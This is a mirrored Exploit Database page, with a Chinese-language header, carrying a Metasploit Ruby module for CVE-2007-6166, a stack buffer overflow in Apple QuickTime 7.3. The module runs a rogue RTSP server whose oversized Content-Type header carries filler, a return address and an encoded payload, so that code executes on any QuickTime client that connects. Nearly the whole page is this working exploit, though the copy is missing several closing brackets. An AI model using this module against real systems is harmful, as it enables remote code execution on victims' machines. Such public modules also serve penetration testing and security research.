Apple QuickTime 7.3 – RTSP Response Header Buffer Overflow (Metasploit)

Exploit Database
106 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16424/

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# $Id: apple_quicktime_rtsp_response.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long

RTSP response to a client, an attacker may be able to execute arbitrary code.

'Author' => 'MC',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-6166' ],

[ 'OSVDB', '40876' ],

[ 'BID', '26549' ],

[ 'URL', 'http://milw0rm.com/exploits/4648' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 700,

'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",

'MaxNops'=> 0,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)

'Privileged' => false,

'DisclosureDate' => 'Nov 23 2007',

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])

], self.class)

end

def on_client_connect(client)

return if ((p = regenerate_payload(client)) == nil)

client.get_once

buffer =rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)

buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

strname = rand_text_alpha(rand(75) + 1)

date= Time.now

num = rand(1).to_s

header ="RTSP/1.0 200 OK\r\n"

header << "CSeq: 1\r\n"

header << "Date: #{date}\r\n"

header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"

header << "Content-Type: #{buffer}\r\n"

header << "Content-Length: #{strname.length}\r\n\r\n"

body ="v=#{num}\r\n"

body << "o=#{strname}\r\n"

body << "s=#{strname}\r\n"

body << "i=#{strname}\r\n"

body << "t=#{num}\r\n"

body << "a=tool:#{strname}\r\n"

body << "a=type:#{strname}\r\n"

body << "a=control:#{strname}\r\n"

body << "a=range:#{strname}\r\n"

body << "a=x-qt-text-nam:#{strname}\r\n"

body << "a=x-qt-text-inf:#{strname}\r\n"

body << "m=#{strname}\r\n"

body << "c=#{strname}\r\n"

body << "a=control:#{strname}\r\n"

sploit = header + body

print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

client.put(sploit)

handler(client)

service.close_client(client)

end